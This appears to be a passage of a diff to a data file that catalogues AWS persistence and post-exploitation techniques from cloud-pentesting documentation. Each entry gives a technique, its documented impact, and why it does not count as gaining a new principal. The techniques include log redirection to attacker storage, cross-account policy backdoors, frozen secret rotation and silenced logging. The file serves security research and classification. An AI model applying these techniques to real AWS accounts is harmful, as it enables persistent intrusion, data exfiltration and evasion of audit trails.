src/pentesting-cloud/aws-security/aws-persistence/aws-agent-registry-persistence/README.md#agent-registryupdateregistry--trust-an-attacker-controlled-jwt-client + technique: '`agent-registry:UpdateRegistry` — trust an attacker-controlled JWT client' + reason: Persistence/configuration of `agent-registry:UpdateRegistry` — trust an attacker-controlled JWT client; + the section does not identify a new AWS principal whose privileges the caller gains from this action alone. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-amplify-persistence/README.md#amplifycreatewebhook--persist-a-credential-less-build-trigger + technique: '`amplify:CreateWebHook` — Persist a credential-less build trigger' + reason: Persistence/configuration of `amplify:CreateWebHook` — Persist a credential-less build trigger; the section + does not identify a new AWS principal whose privileges the caller gains from this action alone. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-appconfig-persistence/README.md#appconfigcreateextension--appconfigcreateextensionassociation--iampassrole + technique: '`appconfig:CreateExtension` + `appconfig:CreateExtensionAssociation` + `iam:PassRole`' + reason: 'Documented impact: Persistent exfiltration of future configuration contents to attacker-controlled Lambda + code, modification of content before it is stored/deployed, or denial of configuration workflows. This section + does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-appstream-persistence/README.md#appstreamenableuser--restore-a-disabled-foothold-with-its-assignments-intact + technique: '`appstream:EnableUser` — restore a disabled foothold with its assignments intact' + reason: Persistence/configuration of `appstream:EnableUser` — restore a disabled foothold with its assignments + intact; the section does not identify a new AWS principal whose privileges the caller gains from this action + alone. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-appstream-persistence/README.md#appstreamupdatefleet--s3--recurring-system-session-scripts-on-an-existing-elastic-fleet + technique: '`appstream:UpdateFleet` + S3 — recurring SYSTEM session scripts on an existing Elastic fleet' + reason: The same UpdateFleet permission and existing fleet role are modeled by aws-appstream-updatefleet-image-swap; + the persistence page supplies the session-script S3 variant and its trigger conditions. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-athena-result-redirection-persistence/README.md#athenaupdateworkgroup--redirect-future-query-results-to-attacker-readable-s3 + technique: '`athena:UpdateWorkGroup` — Redirect future query results to attacker-readable S3' + reason: Persistence/configuration of `athena:UpdateWorkGroup` — Redirect future query results to attacker-readable + S3; the section does not identify a new AWS principal whose privileges the caller gains from this action alone. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-cloudtrail-persistence/README.md#blind-trail-weakening-with-cloudtrailupdatetrail + technique: Blind trail weakening with `cloudtrail:UpdateTrail` + reason: Persistence/configuration of Blind trail weakening with `cloudtrail:UpdateTrail`; the section does not + identify a new AWS principal whose privileges the caller gains from this action alone. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-cloudtrail-trail-redirection-persistence/README.md#cloudtrailupdatetrail--redirect-future-audit-logs-to-attacker-readable-s3 + technique: '`cloudtrail:UpdateTrail` — Redirect future audit logs to attacker-readable S3' + reason: Persistence/configuration of `cloudtrail:UpdateTrail` — Redirect future audit logs to attacker-readable + S3; the section does not identify a new AWS principal whose privileges the caller gains from this action alone. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-cloudwatch-log-forwarding-persistence/README.md#observabilityadmincreates3tableintegration--logsassociatesourcetos3tableintegration--iampassrole--copy-future-logs-into-s3-tables + technique: '`observabilityadmin:CreateS3TableIntegration` + `logs:AssociateSourceToS3TableIntegration` + `iam:PassRole` + — copy future logs into S3 Tables' + reason: 'Documented impact: Conditional disclosure of all future log events covered by the source association + and the passed role, including credentials, tokens, request bodies, PII, and audit events. This section does + not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-cloudwatch-log-forwarding-persistence/README.md#logsputaccountpolicy--account-wide-subscription-filter-over-every-log-group + technique: '`logs:PutAccountPolicy` — account-wide subscription filter over *every* log group' + reason: 'Documented impact: Streams future events from all (or a broad selection of) log groups in the account/region + to an attacker-authorized destination in one call — account-wide log exfiltration, or account-wide log-content + degradation via a... This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-cloudwatch-log-forwarding-persistence/README.md#logscreatescheduledquery--iampassrole--recurring-log-exfiltration-to-s3 + technique: '`logs:CreateScheduledQuery` + `iam:PassRole` — recurring log exfiltration to S3' + reason: Persistence/configuration of `logs:CreateScheduledQuery` + `iam:PassRole` — recurring log exfiltration + to S3; the section does not identify a new AWS principal whose privileges the caller gains from this action + alone. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-cloudwatch-log-forwarding-persistence/README.md#logsputsubscriptionfilter--forward-private-logs-through-a-preauthorized-destination + technique: '`logs:PutSubscriptionFilter` — forward private logs through a preauthorized destination' + reason: Persistence/configuration of `logs:PutSubscriptionFilter` — forward private logs through a preauthorized + destination; the section does not identify a new AWS principal whose privileges the caller gains from this action + alone. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-cloudwatch-omni-persistence/README.md#cloudwatchcreatealert--persist-an-autonomous-telemetry-query-through-an-existing-profile + technique: '`cloudwatch:CreateAlert` — persist an autonomous telemetry query through an existing profile' + reason: 'Documented impact: repeatedly evaluate telemetry through an existing asynchronous identity, maintain + attacker-selected alert state, generate false operational signals, suppress or redirect legitimate notifications, + and conditionally send alert... This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-codeartifact-persistence/README.md#codeartifactputrepositorypermissionspolicy--cross-account-repository-backdoor + technique: '`codeartifact:PutRepositoryPermissionsPolicy` — cross-account repository backdoor' + reason: 'Documented impact: Persistent cross-account theft of private package assets and/or publication of malicious + package versions, bounded by the external principal''s identity-policy allow and the domain-token policy when + package-manager... This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-codeguru-profiler-persistence/README.md#codeguru-profilerputpermission--persist-agent-access-on-a-profiling-group + technique: '`codeguru-profiler:PutPermission` — persist agent access on a profiling group' + reason: Persistence/configuration of `codeguru-profiler:PutPermission` — persist agent access on a profiling group; + the section does not identify a new AWS principal whose privileges the caller gains from this action alone. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence/README.md#cognito-idpcreateuserpoolclient--a-rogue-app-client-with-a-decade-long-refresh-token + technique: '`cognito-idp:CreateUserPoolClient` — a rogue app client with a decade-long refresh token' + reason: Persistence/configuration of `cognito-idp:CreateUserPoolClient` — a rogue app client with a decade-long + refresh token; the section does not identify a new AWS principal whose privileges the caller gains from this + action alone. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence/README.md#cognito-idpsetriskconfiguration + technique: '`cognito-idp:SetRiskConfiguration`' + reason: Persistence/configuration of `cognito-idp:SetRiskConfiguration`; the section does not identify a new AWS + principal whose privileges the caller gains from this action alone. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-data-firehose-persistence/README.md#firehoseupdatedestination--persistently-redirect-future-records + technique: '`firehose:UpdateDestination` — persistently redirect future records' + reason: 'Documented impact: continuing exfiltration of future stream records, disclosure of a retained HTTP endpoint + token, or durable diversion/loss of telemetry. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-datasync-persistence/README.md#datasyncupdatetask--schedule-recurring-delegated-transfers + technique: '`datasync:UpdateTask` — schedule recurring delegated transfers' + reason: 'Documented impact: Recurring exfiltration of newly created data to an already accessible destination, + or repeated integrity/availability effects when the stored task overwrites or removes destination content. This + section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence/README.md#ecs-persistence-via-task-scale-in-protection-updatetaskprotection + technique: ECS Persistence via Task Scale-In Protection (UpdateTaskProtection) + reason: 'Documented impact: A specific attacker-controlled task that autoscaling and rolling deployments cannot + evict — the backdoor container outlives the scale-in events and deployment replacements that would otherwise + sweep it away. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-elemental-inference-persistence/README.md#elemental-inferenceputfeedpolicy--cross-account-metadata-reader + technique: '`elemental-inference:PutFeedPolicy` — cross-account metadata reader' + reason: Persistence/configuration of `elemental-inference:PutFeedPolicy` — cross-account metadata reader; the + section does not identify a new AWS principal whose privileges the caller gains from this action alone. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-eventbridge-persistence/README.md#bus-resource-policy-backdoor-eventsputpermission + technique: Bus resource-policy backdoor (`events:PutPermission`) + reason: 'Documented impact: Persistent cross-account ability to drive the victim''s existing rules and targets, + without any principal inside the victim account. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-eventbridge-persistence/README.md#enhanced-bus-cross-account-backdoor-eventsputresourcepolicy + technique: Enhanced-bus cross-account backdoor (`events:PutResourcePolicy`) + reason: 'Documented impact: Persistent cross-account injection into downstream automation, or retrospective and + continuing exfiltration of retained bus events through a foreign-owned subscriber and target, depending on the + delegated actions and the... This section does not establish another AWS principal or attacker-controlled role + execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence/README.md#iamupdaterole--raise-a-roles-maxsessionduration + technique: '`iam:UpdateRole` — raise a role''s `MaxSessionDuration`' + reason: 'Documented impact: Twelve-hour credentials for the target role on every future assumption, reducing the + attacker''s footprint in the logs and widening the window in which a revoked upstream credential still yields + live access. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md#lambdaputfunctionrecursionconfig--disable-awss-recursive-loop-kill-switch + technique: '`lambda:PutFunctionRecursionConfig` — disable AWS''s recursive-loop kill switch' + reason: 'Documented impact: Converts a self-invoking Lambda from something AWS automatically kills within seconds + into durable, self-sustaining execution with no external trigger to discover or delete. This section does not + establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md#lambdaputfunctioneventinvokeconfig--updatefunctioneventinvokeconfig--redirect-async-records-or-trigger-a-fixed-consumer + technique: '`lambda:PutFunctionEventInvokeConfig` / `UpdateFunctionEventInvokeConfig` — redirect async records + or trigger a fixed consumer' + reason: 'Documented impact: Exfiltration of future asynchronous request and response payloads, plus redirection + or suppression of operational failure/success records. This section does not establish another AWS principal + or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-location-service-persistence/README.md#geocreatekey--mint-a-durable-public-location-bearer-key + technique: '`geo:CreateKey` — mint a durable public Location bearer key' + reason: 'Documented impact: Persistence at the Location service level: a no-expiry, unauthenticated credential + retaining the creator''s selected Maps, Places, or Routes read permissions and the ability to consume the account''s + paid quota. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-marketplace-persistence/README.md#aws-marketplacesubscribe--durable-paid-agreement--renewal + technique: '`aws-marketplace:Subscribe` — durable paid agreement / renewal' + reason: Persistence/configuration of `aws-marketplace:Subscribe` — durable paid agreement / renewal; the section + does not identify a new AWS principal whose privileges the caller gains from this action alone. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-medialive-output-persistence/README.md#redirect-the-output--medialiveupdatechannel + technique: Redirect the output — `medialive:UpdateChannel` + reason: Persistence/configuration of Redirect the output — `medialive:UpdateChannel`; the section does not identify + a new AWS principal whose privileges the caller gains from this action alone. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-mediapackage-v2-policy-persistence/README.md#grant-external-ingest--mediapackagev2putchannelpolicy + technique: Grant external ingest — `mediapackagev2:PutChannelPolicy` + reason: Persistence/configuration of Grant external ingest — `mediapackagev2:PutChannelPolicy`; the section does + not identify a new AWS principal whose privileges the caller gains from this action alone. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-mediapackage-v2-policy-persistence/README.md#publish-a-private-origin-endpoint--mediapackagev2putoriginendpointpolicy + technique: Publish a private origin endpoint — `mediapackagev2:PutOriginEndpointPolicy` + reason: Persistence/configuration of Publish a private origin endpoint — `mediapackagev2:PutOriginEndpointPolicy`; + the section does not identify a new AWS principal whose privileges the caller gains from this action alone. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-msk-policy-persistence/README.md#cross-account-cluster-access-with-kafkaputclusterpolicy + technique: Cross-account cluster access with `kafka:PutClusterPolicy` + reason: 'Documented impact: Grants an external account cross-account connectivity and Kafka actions on the named + cluster, topics, and groups, subject to broker authentication and network prerequisites. This section does not + establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-q-in-connect-persistence/README.md#wisdomupdateassistantaiagent--persist-a-custom-ai-agent-as-the-assistant-default + technique: '`wisdom:UpdateAssistantAIAgent` — persist a custom AI agent as the assistant default' + reason: 'Documented impact: persistently alter customer-facing answers, agent recommendations, summaries, knowledge + selection, guardrail use, or orchestration decisions for future sessions. This section does not establish another + AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-ram-persistence/README.md#ramcreateresourceshare--ramassociateresourceshare--share-internal-resources-with-an-attacker-account + technique: '`ram:CreateResourceShare` (+ `ram:AssociateResourceShare`) — share internal resources with an attacker + account' + reason: 'Documented impact: Durable cross-account access to internal resources — most dangerously a network foothold + inside the victim''s VPC via a shared subnet or Transit Gateway — that persists independently of the attacker''s + IAM credentials. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence/README.md#make-instance-publicly-accessible-rdsmodifydbinstance + technique: 'Make instance publicly accessible: `rds:ModifyDBInstance`' + reason: 'Persistence/configuration of Make instance publicly accessible: `rds:ModifyDBInstance`; the section does + not identify a new AWS principal whose privileges the caller gains from this action alone.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-redshift-persistence/README.md#redshiftmodifycluster---reset-the-provisioned-cluster-master-password + technique: '`redshift:ModifyCluster` - reset the provisioned-cluster master password' + reason: 'Documented impact: Service-level persistence as the provisioned database master user. This section does + not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-redshift-persistence/README.md#redshift-serverlessupdateworkgroup---open-a-network-path-to-a-planted-credential + technique: '`redshift-serverless:UpdateWorkgroup` - open a network path to a planted credential' + reason: 'Documented impact: Converts otherwise unusable SQL persistence into a reachable foothold and can expose + the database to broader networks. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-redshift-persistence/README.md#redshiftauthorizeendpointaccess---retain-a-cross-account-private-route + technique: '`redshift:AuthorizeEndpointAccess` - retain a cross-account private route' + reason: 'Documented impact: Durable service-level persistence enablement: an external account can maintain private + reachability to the database even after the original attack path disappears. This section does not establish + another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-route53-arc-readiness-persistence/README.md#route53-recovery-readinesscreatecrossaccountauthorization--durable-external-readiness-monitoring + technique: '`route53-recovery-readiness:CreateCrossAccountAuthorization` — durable external readiness monitoring' + reason: 'Documented impact: Durable cross-account reconnaissance of application topology, resource existence, + failover readiness, configuration equivalence, capacity, runtime state, quotas, and routing properties. This + section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-s3-files-persistence/README.md#s3filesputfilesystempolicy--cross-account-access-to-the-file-system-and-its-bucket-data + technique: '`s3files:PutFileSystemPolicy` — cross-account access to the file system (and its bucket data)' + reason: 'Documented impact: Cross-account / public exposure of a file system and the S3 data behind it by rewriting + its resource policy; or removal of a restrictive policy as defense evasion. This section does not establish + another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence/README.md#s3-access-point-backdoor--s3createaccesspoint-s3putaccesspointpolicy + technique: S3 Access Point backdoor — `s3:CreateAccessPoint`, `s3:PutAccessPointPolicy` + reason: 'Documented impact: Durable, low-visibility access to the bucket''s objects that survives review of the + bucket policy and IAM policies, and can be granted to an external account so it outlives cleanup of the attacker''s + principals inside the victim... This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence/README.md#canvas-cross-account-model-registry-backdoor-updateuserprofilemodelregistersettings + technique: Canvas cross-account model registry backdoor (UpdateUserProfile.ModelRegisterSettings) + reason: Persistence/configuration of Canvas cross-account model registry backdoor (UpdateUserProfile.ModelRegisterSettings); + the section does not identify a new AWS principal whose privileges the caller gains from this action alone. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence/README.md#model-registry-resource-policy-putmodelpackagegrouppolicy + technique: Model Registry resource policy (PutModelPackageGroupPolicy) + reason: Persistence/configuration of Model Registry resource policy (PutModelPackageGroupPolicy); the section + does not identify a new AWS principal whose privileges the caller gains from this action alone. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence/README.md#blind-organization-wide-share-with-sagemakerputmodelpackagegrouppolicy-alone + technique: Blind organization-wide share with `sagemaker:PutModelPackageGroupPolicy` alone + reason: Persistence/configuration of Blind organization-wide share with `sagemaker:PutModelPackageGroupPolicy` + alone; the section does not identify a new AWS principal whose privileges the caller gains from this action + alone. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence/README.md#secretsmanagerrotatesecret--invoke-the-existing-rotation-lambda + technique: '`secretsmanager:RotateSecret` — invoke the existing rotation Lambda' + reason: Persistence/configuration of `secretsmanager:RotateSecret` — invoke the existing rotation Lambda; the + section does not identify a new AWS principal whose privileges the caller gains from this action alone. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence/README.md#secretsmanagercancelrotatesecret--freeze-a-stolen-secret-by-turning-off-rotation + technique: '`secretsmanager:CancelRotateSecret` — freeze a stolen secret by turning off rotation' + reason: 'Documented impact: Persistence — a previously-stolen secret is never rotated away, so the compromised + credential keeps working long after the intrusion, with no further action from the attacker. This section does + not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-security-agent-persistence/README.md#securityagentcreatemembership--retain-agent-space-web-application-access + technique: '`securityagent:CreateMembership` — retain Agent Space web-application access' + reason: 'Documented impact: Service-level persistence into the assigned Agent Space. This section does not establish + another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-security-incident-response-persistence/README.md#security-irupdatemembership--persist-as-an-incident-response-teammate + technique: '`security-ir:UpdateMembership` — persist as an incident-response teammate' + reason: Persistence/configuration of `security-ir:UpdateMembership` — persist as an incident-response teammate; + the section does not identify a new AWS principal whose privileges the caller gains from this action alone. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-security-incident-response-persistence/README.md#security-irupdatecase--add-a-case-watcher + technique: '`security-ir:UpdateCase` — add a case watcher' + reason: Persistence/configuration of `security-ir:UpdateCase` — add a case watcher; the section does not identify + a new AWS principal whose privileges the caller gains from this action alone. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence/README.md#ssmcreateactivation-iampassrole--a-long-lived-hybrid-activation-as-a-re-entry-credential + technique: '`ssm:CreateActivation`, `iam:PassRole` — a long-lived hybrid activation as a re-entry credential' + reason: The same CreateActivation plus PassRole route and target role are modeled by aws-ssm-passrole-createactivation; + this section explains the persistence benefit of reusing the activation. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence/README.md#using-ssmcreateassociation-for-persistence + technique: Using ssm:CreateAssociation for persistence + reason: 'Documented impact: A scheduled backdoor that re-executes on every targeted managed node indefinitely, + surviving reboots, reimaging of the payload on disk, and termination of the attacker''s own sessions. This section + does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-support-authorization-persistence/README.md#supportauthzcreatesupportpermit--leave-a-no-expiry-regional-support-authorization + technique: '`supportauthz:CreateSupportPermit` — leave a no-expiry regional Support authorization' + reason: 'Documented impact: Preserves a latent AWS Support access grant after the original IAM session is revoked. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-account-management-post-exploitation/README.md#accountenableregion--disableregion--open-a-blind-region-or-disrupt-one + technique: '`account:EnableRegion` / `DisableRegion` — open a blind region or disrupt one' + reason: 'Documented impact: Enabling an unmonitored Region creates a staging area outside incomplete regional + detection/control deployments; disabling an in-use opt-in Region removes IAM access to its resources and can + cause a regional outage until... This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-acm-pca-scep-post-exploitation/README.md#acmexportcertificate--export-the-certificate-private-key + technique: '`acm:ExportCertificate` — Export the certificate private key' + reason: This heading concerns reading or exporting data via `acm:ExportCertificate` — Export the certificate private + key; it does not itself authorize a different AWS principal or execute code as its role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-agent-registry-post-exploitation/README.md#agent-registryupdateregistryrecordstatus--approve-a-malicious-registry-revision + technique: '`agent-registry:UpdateRegistryRecordStatus` — approve a malicious registry revision' + reason: 'Documented impact: Bypass the registry''s human curation step and publish attacker-controlled MCP server, + agent, skill or custom metadata to every consumer authorized to discover the registry. This section does not + establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-amplify-post-exploitation/README.md#recover-amplify-ui-builder-generated-source--amplifyuibuildergetcodegenjob + technique: Recover Amplify UI Builder generated source — `amplifyuibuilder:GetCodegenJob` + reason: 'Documented impact: recover generated application source and its complete generic data schema, including + model and field names, relationships, enum values, UI labels, component structure, action configuration and + embedded application URLs. This section does not establish another AWS principal or attacker-controlled role + execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation/README.md#apigatewaypost-createapikey-createusageplankey + technique: '`apigateway:POST` (`CreateApiKey`, `CreateUsagePlanKey`)' + reason: 'Documented impact: if the association becomes effective: Access to methods that use the associated usage-plan + key, or resource and traffic impact if an attacker can create many keys; separate IAM, Lambda authorizer, or + Cognito authorization... This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation/README.md#apigatewayget--recover-rest-api-key-values + technique: '`apigateway:GET` — Recover REST API key values' + reason: 'Documented impact: Disclosure and reuse of API Gateway client credentials and access to key-gated API + methods. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation/README.md#apigatewaypatch-updatestage--repoint-a-stage-variable-at-an-attacker-backend + technique: '`apigateway:PATCH` (`UpdateStage`) — repoint a stage variable at an attacker backend' + reason: 'Documented impact: Complete interception of a live API''s traffic — request headers and bodies (bearer + tokens, cookies, API keys, PII) reach an attacker-controlled endpoint, which can also alter the response returned + to the client. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation/README.md#apigatewaypatch-updatestage--canary-split-live-traffic-onto-another-deployment + technique: '`apigateway:PATCH` (`UpdateStage`) — canary-split live traffic onto another deployment' + reason: 'Documented impact: A fraction of live production traffic — chosen by the attacker — is served by a different + deployment, or by the same deployment pointed at a different backend through stageVariableOverrides. This section + does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation/README.md#apigatewaypatch--apigatewaypost-updategatewayresponse-createdeployment + technique: '`apigateway:PATCH` / `apigateway:POST` (`UpdateGatewayResponse`, `CreateDeployment`)' + reason: 'Documented impact: Leakage of request or context data, or attacker-controlled response content being + interpreted unsafely by a client. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation/README.md#apigatewayput--apigatewaypost-putmethodresponse-createdeployment + technique: '`apigateway:PUT` / `apigateway:POST` (`PutMethodResponse`, `CreateDeployment`)' + reason: 'Documented impact: Altered response contracts or exposure of values that an integration maps into the + newly declared headers; arbitrary script execution would require a separate client-side sink. This section does + not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation/README.md#apigatewayupdateportal--apigatewaypublishportal--make-protected-api-documentation-public + technique: '`apigateway:UpdatePortal` + `apigateway:PublishPortal` — make protected API documentation public' + reason: 'Documented impact: Remove the portal''s login boundary and expose its entire published API documentation/catalog + to unauthenticated internet users. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation/README.md#apigatewaypatch-updateapi--open-a-http-apis-cors-policy-to-an-attacker-origin + technique: '`apigateway:PATCH` (`UpdateApi`) — open a HTTP API''s CORS policy to an attacker origin' + reason: 'Documented impact: Any browser session authenticated to the API can be read and driven cross-origin from + an attacker-controlled page, turning the API into a credentialed data-exfiltration and action endpoint without + touching routes, integrations... This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation/README.md#apigatewaypatch-updatestage--roll-a-stage-back-to-an-unsafe-deployment + technique: '`apigateway:PATCH` (`UpdateStage`) — roll a stage back to an unsafe deployment' + reason: 'Documented impact: Re-exposure of removed API behavior or data, authorization bypass through an older + configuration, or service disruption. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation/README.md#apigatewaypatch--apigatewaypost-updaterestapi-createdeployment + technique: '`apigateway:PATCH` / `apigateway:POST` (`UpdateRestApi`, `CreateDeployment`)' + reason: 'Documented impact: Re-exposing the default API endpoint or changing where API Gateway obtains usage identifiers, + which can undermine assumptions made by custom-domain or usage-plan controls. This section does not establish + another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation/README.md#apigatewaypatch-updatestage--silence-a-stages-logging-and-tracing + technique: '`apigateway:PATCH` (`UpdateStage`) — silence a stage''s logging and tracing' + reason: 'Documented impact: Removes the only record of API invocations — CloudTrail never sees the data plane + — so subsequent abuse of the API (token replay, injection, data pulls) leaves no trace on the API Gateway side. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-app-mesh-post-exploitation/README.md#appmeshupdateroute--redirect-matched-traffic-to-a-controlled-virtual-node + technique: '`appmesh:UpdateRoute` — redirect matched traffic to a controlled virtual node' + reason: 'Documented impact: Redirect or disrupt only the requests matched by the changed route or virtual service. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-appconfig-post-exploitation/README.md#appconfiggethostedconfigurationversion--read-an-immutable-hosted-version + technique: '`appconfig:GetHostedConfigurationVersion` — read an immutable hosted version' + reason: 'Documented impact: Disclosure of credentials, endpoints, authorization rules, feature controls, customer + data, or other sensitive values stored in any readable hosted version, including an old version that is no longer + deployed. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-appconfig-post-exploitation/README.md#appconfigcreatehostedconfigurationversion--poison-a-later-deployment + technique: '`appconfig:CreateHostedConfigurationVersion` — poison a later deployment' + reason: 'Documented impact: Delayed manipulation of feature/security controls, allowlists, endpoints, templates, + or consumer behavior. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-appconfig-post-exploitation/README.md#appconfigstartdeployment--activate-or-roll-back-to-a-stored-version + technique: '`appconfig:StartDeployment` — activate or roll back to a stored version' + reason: 'Documented impact: Immediate rollback to vulnerable settings, reactivation of old credentials/endpoints, + disabling of a security feature, or activation of a dormant malicious version; the concrete impact is limited + by the selected version and... This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-appflow-post-exploitation/README.md#broaden-or-poison-a-flow-with-updateflow + technique: Broaden or poison a flow with 